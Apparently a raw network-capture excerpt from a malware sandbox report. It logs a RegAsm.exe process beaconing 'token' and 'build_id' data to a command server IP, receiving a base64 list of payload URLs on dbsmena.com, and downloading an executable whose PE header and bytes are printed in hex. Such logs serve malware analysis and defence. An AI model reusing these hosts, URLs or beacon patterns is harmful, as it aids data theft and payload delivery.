2024-09-26 17:06:23 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 Data Ascii: ------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------GDHIIDAFIDGCFHJJDGDACont
2024-09-26 17:06:23 UTC	16355	OUT	Data Raw: 74 70 41 6b 70 74 6a 62 6e 4a 2b 36 36 38 59 50 31 34 2f 41 31 7a 46 70 34 66 31 36 2b 6b 30 6e 54 5a 39 47 69 73 6f 74 50 6c 33 53 58 59 78 6c 78 6e 50 55 48 6e 38 4f 2f 70 58 56 33 76 68 2f 55 39 4d 31 53 62 56 50 44 55 30 4b 4e 4f 64 31 78 5a 54 35 38 75 51 2f 33 68 36 48 38 76 72 32 70 72 61 70 34 30 6c 58 79 34 2f 44 31 72 42 49 65 50 4f 6b 75 31 5a 52 37 34 42 7a 58 6c 77 71 74 58 64 4a 71 7a 64 39 58 5a 70 76 38 41 50 38 54 36 47 64 4a 4f 79 71 70 33 53 74 6f 72 70 70 66 6c 2b 41 65 4c 4a 42 63 36 2f 77 43 47 39 4f 69 2b 61 34 2b 32 72 64 4d 6f 2f 68 52 4f 53 54 2b 76 35 47 75 52 38 62 2f 38 6a 62 64 2f 37 73 66 2f 41 4b 41 74 64 33 6f 50 68 31 39 4f 75 5a 74 53 31 47 35 2b 32 61 72 63 44 45 6b 32 4d 4b 69 2f 33 56 48 59 66 35 34 72 68 50 47 2f 2f Data Ascii: tpAkptjbnJ+668YP14/A1zFp4f16+k0nTZ9GisotPl3SXYxlxnPUHn8O/pXV3vh/U9M1SbVPDU0KNOd1xZT58uQ/3h6H8vr2prap40lXy4/D1rBIePOku1ZR74BzXlwqtXdJqzd9XZpv8AP8T6GdJOyqp3Storppfl+AeLJBc6/wCG9Oi+a4+2rdMo/hROST+v5GuR8b/8jbd/7sf/AKAtd3oPh19OuZtS1G5+2arcDEk2MKi/3VHYf54rhPG//
2024-09-26 17:06:23 UTC	16355	OUT	Data Raw: 57 39 78 4f 39 73 39 6e 6d 5a 2f 39 49 6b 41 32 4f 49 6d 43 67 41 41 44 35 31 78 69 74 65 2b 75 59 62 6e 78 54 71 49 73 62 57 4a 59 4c 4e 72 79 32 75 37 64 59 2f 6b 69 64 59 4a 47 69 6b 41 36 59 59 4c 2b 44 4b 66 55 56 6b 4a 6f 59 2b 7a 77 32 38 73 69 79 51 32 38 54 51 77 4b 55 48 79 4b 57 4c 45 64 4f 66 6d 59 6e 6e 31 71 64 62 4b 2f 69 75 72 36 39 68 31 41 78 33 31 2b 6b 6b 64 7a 4b 71 4c 2b 39 56 2f 76 41 6a 47 4f 66 70 78 32 71 5a 59 44 46 38 6c 6f 76 58 33 76 78 32 4b 2f 74 54 41 53 71 58 6c 48 53 36 36 66 66 38 41 31 31 46 31 44 55 58 67 38 4f 4b 77 4f 6e 53 67 36 5a 59 46 59 6f 4c 59 4c 63 57 38 38 69 49 33 6d 79 50 73 47 55 59 42 78 77 7a 38 73 6f 49 46 4f 76 38 41 55 4a 74 4e 69 73 4c 35 4e 4f 69 6b 61 2b 6b 57 65 35 67 6b 56 43 6b 47 31 56 59 77 Data Ascii: W9xO9s9nmZ/9IkA2OImCgAAD51xite+uYbnxTqIsbWJYLNry2u7dY/kidYJGikA6YYL+DKfUVkJoY+zw28siyQ28TQwKUHyKWLEdOfmYnn1qdbK/iur69h1Ax31+kkdzKqL+9V/vAjGOfpx2qZYDF8lovX3vx2K/tTASqXlHS66ff8A11F1DUXg8OKwOnSg6ZYFYoLYLcW88iI3myPsGUYBxwz8soIFOv8AUJtNisL5NOika+kWe5gkVCkG1VYw
2024-09-26 17:06:23 UTC	16355	OUT	Data Raw: 34 38 30 2f 36 36 44 2b 52 71 31 34 62 38 51 32 50 68 33 53 74 52 6c 69 69 6e 62 57 72 68 50 4b 67 6c 32 72 35 63 4b 6e 71 63 35 7a 6e 76 30 37 44 33 72 35 44 4f 50 39 37 66 6f 6a 36 4c 4b 57 6c 42 4f 57 32 70 61 38 61 77 32 4f 69 51 57 50 68 79 31 74 59 54 63 32 71 43 53 38 75 2f 4b 41 65 53 52 68 6e 41 62 47 64 76 50 72 33 48 70 57 31 34 4e 31 4a 4e 4c 38 41 54 54 79 61 76 38 41 32 57 47 31 51 70 35 33 32 62 7a 39 33 37 70 54 74 32 34 34 36 5a 7a 37 65 39 63 33 34 6a 38 51 32 50 69 48 53 4e 4f 6b 6d 69 6e 58 57 72 64 50 4b 6e 6c 32 6a 79 35 6b 48 51 6b 35 7a 6e 76 30 37 6e 32 72 72 2f 68 37 5a 36 6c 65 2b 43 4a 34 74 4c 31 58 2b 7a 5a 78 71 54 4d 30 33 32 64 5a 74 79 2b 57 6e 79 37 57 34 36 6b 48 50 74 58 6d 4c 34 74 44 31 36 56 70 56 33 79 62 57 30 2f Data Ascii: 480/66D+Rq14b8Q2Ph3StRliinbWrhPKgl2r5cKnqc5znv07D3r5DOP97foj6LKWlBOW2pa8aw2OiQWPhy1tYTc2qCS8u/KAeSRhnAbGdvPr3HpW14N1JNL8ATTyav8A2WG1Qp532bz937pTt2446Zz7e9c34j8Q2PiHSNOkminXWrdPKnl2jy5kHQk5znv07n2rr/h7Z6le+CJ4tL1X+zZxqTM032dZty+Wny7W46kHPtXmL4tD16VpV3ybW0/
2024-09-26 17:06:23 UTC	16355	OUT	Data Raw: 52 54 75 6b 4b 56 57 63 6c 79 74 36 42 53 55 74 46 57 51 4a 52 52 52 51 41 55 55 55 55 41 4a 52 53 30 6c 41 42 52 52 52 51 4d 4b 4b 4b 4b 41 45 6f 70 61 4b 41 45 70 4f 61 64 52 54 41 53 6a 6d 6c 6f 6f 41 53 6b 37 30 74 46 41 58 44 46 46 46 49 61 41 43 69 69 69 67 59 6c 46 46 46 41 42 53 55 74 46 41 78 4b 4b 4b 4b 41 45 6f 70 61 4b 59 43 55 55 55 55 67 43 69 69 69 67 59 6c 46 46 46 41 43 64 71 4b 57 6b 70 6a 45 6f 70 61 53 67 59 55 68 70 61 53 67 41 6f 6f 6f 70 6a 45 6f 70 61 53 67 41 70 4b 57 69 67 59 30 30 55 74 46 41 43 55 55 64 36 4b 59 43 55 55 74 42 6f 47 4a 53 55 74 49 61 41 43 6c 4e 4a 52 31 70 67 46 42 6f 6f 70 6a 45 70 4b 64 53 66 68 51 4d 53 6a 46 4c 52 51 41 6d 4b 4f 61 44 52 51 41 6c 46 4b 61 53 67 41 70 4b 57 69 6d 4d 53 69 67 30 55 77 43 69 Data Ascii: RTukKVWclyt6BSUtFWQJRRRQAUUUUAJRS0lABRRRQMKKKKAEopaKAEpOadRTASjmlooASk70tFAXDFFFIaACiiigYlFFFABSUtFAxKKKKAEopaKYCUUUUgCiiigYlFFFACdqKWkpjEopaSgYUhpaSgAooopjEopaSgApKWigY00UtFACUUd6KYCUUtBoGJSUtIaAClNJR1pgFBoopjEpKdSfhQMSjFLRQAmKOaDRQAlFKaSgApKWimMSig0UwCi
2024-09-26 17:06:23 UTC	16355	OUT	Data Raw: 39 63 38 55 73 77 6f 74 58 58 7a 38 69 5a 5a 50 69 59 76 6c 61 56 33 74 35 39 64 50 76 4e 47 69 71 49 75 78 50 66 4e 59 77 4f 34 75 6b 6e 73 37 65 54 65 42 73 52 35 30 6b 6b 62 49 41 7a 38 71 6f 6f 2b 6f 62 38 47 53 61 33 59 33 4f 6d 33 6c 78 70 38 56 36 6a 57 38 4a 6e 52 37 6c 6b 4b 7a 6f 70 41 62 35 51 6f 32 48 42 33 41 5a 62 6f 52 37 30 31 6d 46 46 74 70 50 59 62 79 62 46 4b 31 30 74 64 74 64 2f 4c 31 4e 47 69 73 32 62 55 34 59 37 6e 58 59 6c 65 51 2f 32 62 71 4d 64 6d 6d 63 66 4d 47 4d 6d 53 65 4f 76 37 76 74 69 72 30 38 6f 68 68 65 51 39 46 47 61 31 6f 59 6d 6e 58 54 6c 42 37 66 35 58 4f 58 46 59 4b 74 68 70 4b 46 52 61 76 38 41 34 59 6b 6f 72 4c 31 54 57 72 57 78 53 2f 74 6f 30 75 35 72 71 79 59 78 79 33 43 46 66 4b 45 67 4f 47 55 4a 74 79 51 44 78 Data Ascii: 9c8UswotXXz8iZZPiYvlaV3t59dPvNGiqIuxPfNYwO4ukns7eTeBsR50kkbIAz8qoo+ob8GSa3Y3Om3lxp8V6jW8JnR7lkKzopAb5Qo2HB3AZboR701mFFtpPYbybFK10tdtd/L1NGis2bU4Y7nXYleQ/2bqMdmmcfMGMmSeOv7vtir08ohheQ9FGa1oYmnXTlB7f5XOXFYKthpKFRav8A4YkorL1TWrWxS/to0u5rqyYxy3CFfKEgOGUJtyQDx
2024-09-26 17:06:23 UTC	16355	OUT	Data Raw: 45 50 2f 41 49 2b 62 44 2f 63 66 2b 59 72 69 36 2b 67 79 37 2f 64 59 2f 50 38 41 4e 6e 78 65 64 66 37 39 55 2b 58 35 49 4b 4f 39 46 4a 58 63 65 57 4c 53 55 74 4a 53 51 48 64 61 78 49 4c 4f 66 77 5a 71 55 33 46 74 44 2b 36 6b 66 73 70 6b 6a 55 41 6e 32 34 50 35 56 4c 34 31 30 66 55 62 6a 55 39 4d 31 66 54 37 52 4c 33 37 47 53 48 74 6e 37 38 35 42 78 33 2f 41 50 31 56 75 78 36 64 62 61 74 34 57 74 72 4b 38 6a 33 77 79 32 73 59 49 37 6a 35 52 67 6a 33 46 59 6b 45 50 69 2f 77 2b 67 74 4c 65 4b 33 31 6d 7a 51 59 69 5a 35 42 46 4b 6f 37 41 6b 6e 42 78 2b 4e 66 4c 30 4b 6d 6b 58 46 72 6d 6a 64 57 65 7a 54 38 2f 6d 66 6f 6c 65 6e 72 4a 53 54 35 5a 57 64 31 71 30 31 62 70 38 68 76 67 72 52 39 52 74 39 53 31 50 56 39 51 74 45 73 76 74 68 47 79 32 54 2b 48 6e 4a 4f Data Ascii: EP/AI+bD/cf+Yri6+gy7/dY/P8ANnxedf79U+X5IKO9FJXceWLSUtJSQHdaxILOfwZqU3FtD+6kfspkjUAn24P5VL410fUbjU9M1fT7RL37GSHtn785Bx3/AP1Vux6dbat4WtrK8j3wy2sYI7j5Rgj3FYkEPi/w+gtLeK31mzQYiZ5BFKo7AknBx+NfL0KmkXFrmjdWezT8/mfolenrJST5ZWd1q01bp8hvgrR9Rt9S1PV9QtEsvthGy2T+HnJO
2024-09-26 17:06:23 UTC	540	OUT	Data Raw: 2f 6e 74 35 63 6a 5a 42 33 4d 75 63 4d 63 67 63 6b 64 71 63 76 69 44 57 49 39 58 6d 31 57 48 55 72 71 43 2f 6d 4a 33 33 46 76 4b 59 6d 4f 65 6f 2b 58 47 42 30 34 48 48 41 6f 73 46 7a 30 36 44 58 5a 72 73 78 36 6c 6f 4d 39 78 4a 63 54 61 31 5a 57 46 78 63 37 53 73 6c 35 47 73 4f 4d 79 44 75 4a 47 44 45 67 39 63 44 50 49 72 4c 76 70 5a 72 47 32 31 54 52 4c 6a 55 6f 34 37 44 55 35 6d 74 74 49 73 4a 5a 4e 73 45 4d 58 32 67 6e 37 53 33 38 4b 41 62 57 41 62 37 78 79 54 30 35 50 45 6e 78 52 34 67 61 35 6d 75 57 31 33 55 7a 63 54 52 2b 56 4c 4b 62 75 54 63 36 66 33 57 4f 63 6c 65 54 77 65 4f 61 54 2f 41 49 53 62 58 76 37 4e 2f 73 33 2b 32 39 53 2b 77 62 50 4c 2b 79 2f 61 35 50 4b 32 66 33 64 6d 63 59 39 73 55 57 48 63 37 50 34 67 57 55 64 70 34 4f 38 50 77 57 6a Data Ascii: /nt5cjZB3MucMcgckdqcviDWI9Xm1WHUrqC/mJ33FvKYmOeo+XGB04HHAosFz06DXZrsx6loM9xJcTa1ZWFxc7Ssl5GsOMyDuJGDEg9cDPIrLvpZrG21TRLjUo47DU5mttIsJZNsEMX2gn7S38KAbWAb7xyT05PEnxR4ga5muW13UzcTR+VLKbuTc6f3WOcleTweOaT/AISbXv7N/s3+29S+wbPL+y/a5PK2f3dmcY9sUWHc7P4gWUdp4O8PwWj
2024-09-26 17:06:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:24 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	59767	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:25 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:25 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------EGIDAAFIEHIEHJKFHCAECont
2024-09-26 17:06:26 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:26 UTC	135	IN	Data Raw: 37 63 0d 0a 4d 54 49 78 4f 44 63 30 4d 6e 78 6f 64 48 52 77 63 7a 6f 76 4c 32 52 69 63 32 31 6c 62 6d 45 75 59 32 39 74 4c 32 78 71 61 47 64 6d 63 32 51 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 78 4d 6a 45 34 4e 7a 51 7a 66 47 68 30 64 48 42 7a 4f 69 38 76 5a 47 4a 7a 62 57 56 75 59 53 35 6a 62 32 30 76 64 6d 52 7a 61 47 5a 6b 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 7cMTIxODc0MnxodHRwczovL2Ric21lbmEuY29tL2xqaGdmc2QuZXhlfDF8a2tra3wxMjE4NzQzfGh0dHBzOi8vZGJzbWVuYS5jb20vdmRzaGZkLmV4ZXwxfGtra2t80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	59768	172.105.54.160	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:27 UTC	171	OUT	GET /ljhgfsd.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: dbsmena.com Cache-Control: no-cache
2024-09-26 17:06:27 UTC	284	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:06:27 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 26 Sep 2024 16:59:48 GMT ETag: "c218c-5e028-62308aa93ecb1" Accept-Ranges: bytes Content-Length: 385064 Content-Type: application/x-msdownload
2024-09-26 17:06:27 UTC	7908	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ec 91 f5 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 b0 05 00 00 08 00 00 00 00 00 00 3e ce 05 00 00 20 00 00 00 e0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf> @ `
2024-09-26 17:06:28 UTC	8000	IN	Data Raw: 13 ef d2 a2 82 10 e4 7b 18 b1 3b 98 2a 47 7f 40 7c 65 20 fd 2e a9 40 96 75 f4 7a a2 0d dd d5 19 59 97 3c 4a 80 e4 e6 3b 9d 07 a4 29 69 dd a7 93 7e 44 db f2 c7 f2 fb b3 49 1a e8 f0 62 2e 1c 2f f2 0f a7 c2 d1 41 28 2e de 6a 3a 64 72 a0 99 67 58 1d ae 19 6c 5d 2d a4 25 2c ed ae 41 0e db 5a c3 ec 3b 9b 76 46 db 2b 85 95 f7 dd 6a 6d f5 5f 6d 16 68 d3 9d b5 fb 1d 3a 90 c1 32 23 71 e9 7c 94 30 36 fc 99 f8 aa 24 6d 43 a4 b4 0d e5 22 91 9e 99 f3 99 e9 53 8d 37 87 ea c1 e3 ab 30 d7 33 5d b0 e9 2e c9 a8 85 5b e6 07 06 97 27 d4 5d 18 e8 9e 18 10 0b 1a 47 40 b9 09 22 8f 06 18 ba 1a 01 0b 71 80 63 15 ee 60 a6 f4 c4 86 57 b8 fb c9 5f 52 3c 06 a0 96 59 74 bd d9 e9 f4 85 df 89 25 14 0e bf 0d 47 ca 17 d1 28 0b 73 5f 18 8b e1 01 37 be dc f1 bf 11 d9 84 f4 62 d4 08 c8 44 8c Data Ascii: {;*G@\|e .@uzY<J;)i~DIb./A(.j:drgXl]-%,AZ;vF+jm_mh:2#q\|06$mC"S703].[']G@"qc`W_R<Yt%G(s_7bD
2024-09-26 17:06:28 UTC	8000	IN	Data Raw: 04 f2 f3 42 4b f0 da d7 38 cd 18 14 d2 03 7f 1b cb f1 cf 8e fb f0 d4 ef 03 28 13 e9 2c 87 fa 8a 86 3e 1d 87 9f 5d f7 94 00 33 ed 3a 49 f6 49 f5 d9 b6 69 62 bc 77 3e 12 bb 48 4f 3d 43 7a 74 a8 b7 05 e9 88 fd 24 82 47 03 83 bd 8b d7 17 5c 79 de 65 be df 3a 01 25 d1 cd 00 93 4a b3 8d 9a eb 0e cf af c0 24 05 b4 c2 95 d7 4f ab fa 0d b7 bd 2d f5 86 30 40 14 52 b9 ae 2b 86 a0 c0 66 6e 57 e6 a2 6d 06 73 ff ce e2 c0 93 ba 43 bb 24 20 01 2d 49 a4 24 d3 98 27 9d 0f 37 6c f9 82 31 f3 02 ab c7 d1 99 c1 85 92 50 8c bc c6 51 27 bf e3 f8 73 30 66 df 44 71 94 ab cb aa 0d d6 b9 89 9c 85 37 54 f2 46 a1 91 3c 2b cf 06 93 8c 5d f3 62 ee 62 2e f5 43 7f b6 f9 8d ac 9f 05 e8 a8 78 42 92 a0 9a a1 38 f1 7d 3a 03 46 20 16 7c f4 78 26 56 23 63 c6 88 37 65 8f 38 24 b2 af bb 2c 96 c8 Data Ascii: BK8(,>]3:IIibw>HO=Czt$G\ye:%J$O-0@R+fnWmsC$ -I$'7l1PQ's0fDq7TF<+]bb.CxB8}:F \|x&V#c7e8$,
2024-09-26 17:06:28 UTC	8000	IN	Data Raw: c3 65 84 87 a2 af fb f7 e6 c8 0e e6 86 18 4b aa 8b 5f 54 d7 43 e8 94 03 b8 52 bc 83 5e a0 35 4d cc b1 67 63 f7 bf b5 e1 a2 47 e2 b2 a5 d7 79 db 4f 8b 53 5d 39 81 b3 9b 8b 90 a6 5d 48 0c f5 42 19 6d 59 ea dd 51 50 fe 01 4c 7d 60 e5 44 74 e5 d5 f3 bd 20 69 54 d6 95 c7 fa ec b1 b0 97 d4 5d c6 d1 0d f3 01 0d 0b 7a 9a e1 85 56 07 8c 0d 32 30 36 d8 71 c1 55 e4 47 cd 9b 2d ff 07 17 9b d0 63 61 06 b4 76 71 a6 aa fe b8 24 6f e4 b9 6e 21 73 27 34 87 33 35 7d 89 ae ec 37 8b 64 34 e9 31 cc 0e e7 e1 7b 7e d8 1b 8e 39 90 35 94 c8 dd c6 4f 63 ec 2c bb db 61 69 8a 2a 81 ca f7 a3 9b ea e9 b4 85 b9 54 2a 2a 91 51 5e f2 1f b2 f2 20 22 cf fb 92 bc 7b 2e 35 2f 69 0b e2 2b d1 ed ca 2a 7d b0 96 a7 4f e1 20 ff af 7d 53 a2 0b d2 ea 31 1a 3d d8 b2 42 18 c4 03 e4 3e 96 72 ff cd af Data Ascii: eK_TCR^5MgcGyOS]9]HBmYQPL}`Dt iT]zV206qUG-cavq$on!s'435}7d41{~95Oc,aiTQ^ "{.5/i+}O }S1=B>r
2024-09-26 17:06:28 UTC	8000	IN	Data Raw: 29 e9 67 04 44 cb c0 e1 aa 06 c1 7f 0b 0f 71 8e 31 e2 d8 93 fc f9 79 23 df 84 15 ae 82 af e8 60 50 3c 25 90 b1 b0 4a b3 40 26 0b 02 cf 0c 30 a9 87 06 9b 9c c1 10 fb 73 e8 18 53 60 e6 9a e3 33 92 dc b9 d2 c5 43 89 15 7c 46 02 30 cf 53 7c 77 12 37 27 f1 9f 6e c3 08 0b 59 26 f1 12 9a 7a cb 55 04 87 48 f4 04 13 92 3d 5a 1c 47 b4 81 7c 67 3d 02 c9 06 15 16 fb 78 6b 0c 09 60 09 0d b7 80 68 39 e9 a8 65 c9 b4 9a 90 00 62 6c 9e 41 c7 5e c2 08 c9 46 b9 2f ba a4 76 b6 e6 74 7f e5 90 a2 52 c1 57 7a 8a 1b fd 4d a4 64 bf 25 78 5f aa 9b 76 e7 af 99 23 46 51 12 2a 85 a7 6e 22 e8 86 00 4b 57 63 fe 1d b7 20 8d 06 19 5d dd 27 80 6b a2 39 24 8d 40 d3 8f 38 70 1f 2a 01 2e b2 fe 92 a8 1a c5 f8 1f f6 74 c2 1f 9b 15 3b 94 22 4e 5d 60 5b 48 2a ea 33 b9 88 c5 10 79 87 ae bd bc b7 Data Ascii: )gDq1y#`P<%J@&0sS`3C\|F0S\|w7'nY&zUH=ZG\|g=xk`h9eblA^F/vtRWzMd%x_v#FQn"KWc ]'k9$@8p.t;"N]`[H*3y
2024-09-26 17:06:28 UTC	8000	IN	Data Raw: fc 9b cf 45 f9 61 e3 65 71 bb 52 77 76 f9 01 61 ee 6c cd 55 03 42 b2 92 41 d5 40 03 3b fd a7 8d db df 78 0d 90 2e 78 b9 57 34 64 76 f1 01 aa cf b5 6e ca f8 6f 25 1f 2a d4 72 fb 3d 73 73 e3 97 e0 c2 76 a4 39 f8 54 6f fe 9b 90 3c 0e ec 80 86 fb cb fd 59 6c c9 13 88 d2 a4 66 46 1c c9 52 4c 2e e2 ec 14 0b 41 30 61 3e 98 e2 1d a2 9e b3 80 5b cb df 71 9e 15 c2 d0 08 7c 73 d6 65 14 4f 18 32 5e f9 80 d5 9c 30 88 f2 9e d0 17 4e 99 e7 ca 82 21 dd b1 5c 07 0b c7 dc 19 3f 0f e8 43 c4 cd 96 27 fe 39 59 a2 4e 0d b7 f5 d5 1e 12 49 af f9 e3 d1 e7 1e 68 4a ea 16 47 ba 78 9e c0 e1 46 48 29 6b ac c9 29 40 44 68 6c 40 12 41 f0 db 27 15 a8 b2 0a 56 f9 f6 64 a8 a3 40 c3 16 25 8c 9a 8c 89 ee 0d 10 a8 40 f8 30 9f 71 fb 47 2b bb ca a1 ce b2 aa 46 bc b7 35 85 6b bd 54 8b 8b d9 c9 Data Ascii: EaeqRwvalUBA@;x.xW4dvno%*r=ssv9To<YlfFRL.A0a>[q\|seO2^0N!\?C'9YNIhJGxFH)k)@Dhl@A'Vd@%@0qG+F5kT
2024-09-26 17:06:28 UTC	8000	IN	Data Raw: 4f d2 b1 20 a6 2b ff 92 3e ed d9 5c 12 82 65 d5 20 04 cf 4c 41 62 74 b9 2f c5 8f 60 78 f5 d3 76 cd 3e 1c 42 c9 50 f0 07 55 5b e5 70 c1 aa f1 be c7 58 d8 70 14 e1 b9 bd c9 ca e1 52 f3 a7 0c 8e 69 9e cd d8 ed fa 0f 90 57 ec 80 9c 44 57 df ea e7 70 4d d4 27 b0 9b 62 7e 0e ff e5 2c 65 0f 5c d7 bf c7 2a 9b 09 7b 72 0c 9b fe b1 ef 88 05 e1 9d 66 1e 8d cc 9a 4d 93 bb 36 ba 70 31 3c 66 2e e5 46 1d f5 0b eb b2 0c 30 8e 6b e5 37 14 20 6a d9 1d 3a 92 1e 24 d7 b7 33 e3 9d a1 32 1d fd 69 4a c6 07 9f ca bb 17 d8 97 26 e5 cb 1e 18 42 f3 0b cc 5f 89 14 b5 62 99 54 09 5d 0f 66 77 1e 5d 37 d3 99 42 84 49 e2 45 56 1e 63 c0 77 3c ce d1 9d 4a 28 3d b2 35 72 38 e9 ab 3e 5c ee 95 cb df 16 75 4d 1d 42 77 8a 94 fe 42 0d bc df bc 91 6f 0a b5 c7 1d 44 05 fd 00 64 9f 87 00 eb a3 db Data Ascii: O +>\e LAbt/`xv>BPU[pXpRiWDWpM'b~,e\*{rfM6p1<f.F0k7 j:$32iJ&B_bT]fw]7BIEVcw<J(=5r8>\uMBwBoDd
2024-09-26 17:06:28 UTC	8000	IN	Data Raw: 84 df 03 6a b4 83 3c a2 8d 9f df 03 18 76 b5 b3 73 92 1c 49 a7 e0 f4 74 89 d5 b1 90 26 ab 47 40 4a 37 13 54 81 f2 79 82 ec f5 26 2e e0 a3 d2 a1 b0 43 e0 d0 31 d3 4f e0 56 5d fd 6a f1 51 d9 fd e7 70 e9 28 5d 93 bb 56 ae c4 d7 bf 72 00 73 39 5d 00 76 f2 e9 19 b2 b1 fe d2 c6 01 68 4e 4b d1 99 8c e4 2e 73 01 93 e6 21 e8 97 ef 61 42 97 67 fd 4e c0 fc e0 ea 07 2c 28 60 15 58 b4 a9 fe 6e c1 4c 75 5a 72 75 c4 39 ec 40 61 6b 4a 79 51 43 1c 75 5d d0 dc ae 9d 1c 13 b2 f8 57 10 24 ab 33 5f 36 03 c7 e4 f9 2c 8d 0f d8 37 8f 1f ba fc 92 85 86 a1 83 8a ea 38 9b a3 52 1f db fd 32 c7 57 c9 c3 63 e4 81 2a 0c de e8 d4 bd 53 f1 eb 09 56 a6 0f 51 79 03 13 e3 46 2d 5f 16 a8 0a e1 bc 7d 83 db 29 a1 fa 77 1a 84 fc c7 b8 a8 0b 6b c1 6f 51 13 f0 24 62 6c 31 fe d9 41 d1 de e7 ea 0d Data Ascii: j<vsIt&G@J7Ty&.C1OV]jQp(]Vrs9]vhNK.s!aBgN,(`XnLuZru9@akJyQCu]W$3_6,78R2Wc*SVQyF-_})wkoQ$bl1A
